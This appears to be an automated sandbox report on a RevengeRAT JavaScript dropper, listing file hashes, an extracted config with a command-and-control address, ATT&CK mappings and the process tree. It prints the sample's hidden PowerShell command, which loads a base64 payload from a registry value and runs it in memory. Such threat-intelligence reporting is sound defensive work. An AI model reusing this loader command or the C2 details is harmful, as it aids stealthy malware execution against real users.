revengerat | f21fa6493bade5a7806a28f33ba7d920fa43edd81628003ea95253983d590cb2

Analysis

max time kernel
147s
max time network
149s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-12-2024 01:01

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General

Target

2e166d7183aca77bc9ebaa54d8048374aa780ece1ffc159ecf57ec75f96a8e4d.js
Size

116KB
MD5

0c3e47c0fb0d5a289fded25fd9746817
SHA1

2117b82b1724a2f146ffd015b50ce45c63d7fb87
SHA256

2e166d7183aca77bc9ebaa54d8048374aa780ece1ffc159ecf57ec75f96a8e4d
SHA512

bf8b2895fa9cf32c651d67ff68c3156dfd2f32e4fc9308ec5a190eaf942816feae1357086b150442c4359619356cf6cf3bd4e9bcf8d866b52c51b0c3978133ad
SSDEEP

1536:D12+GPp0PG/6Rn/T5d1XtQpm7GOzYCtFA:p2+GB0PG/sn/T5dt+IdG

Score

10^/10

revengerat nyancatrevenge execution trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

38.51.135.44:333

Mutex

9822cb7521c94057

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat

Blocklisted process makes network request 7 IoCs

flow	pid	Process
2	2880	powershell.exe
3	2880	powershell.exe
4	2880	powershell.exe
5	2880	powershell.exe
6	2880	powershell.exe
7	2880	powershell.exe
8	2880	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2880	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2880	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 2880	2780	wscript.exe	30
PID 2780 wrote to memory of 2880	2780	wscript.exe	30
PID 2780 wrote to memory of 2880	2780	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2e166d7183aca77bc9ebaa54d8048374aa780ece1ffc159ecf57ec75f96a8e4d.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2880-4-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

Filesize
4KB

Download
memory/2880-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2880-6-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2880-7-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2880-8-0x0000000002D80000-0x0000000002D8A000-memory.dmp

Filesize
40KB

Download
memory/2880-9-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2880-10-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2880-11-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2880-12-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2880-13-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

Filesize
4KB

Download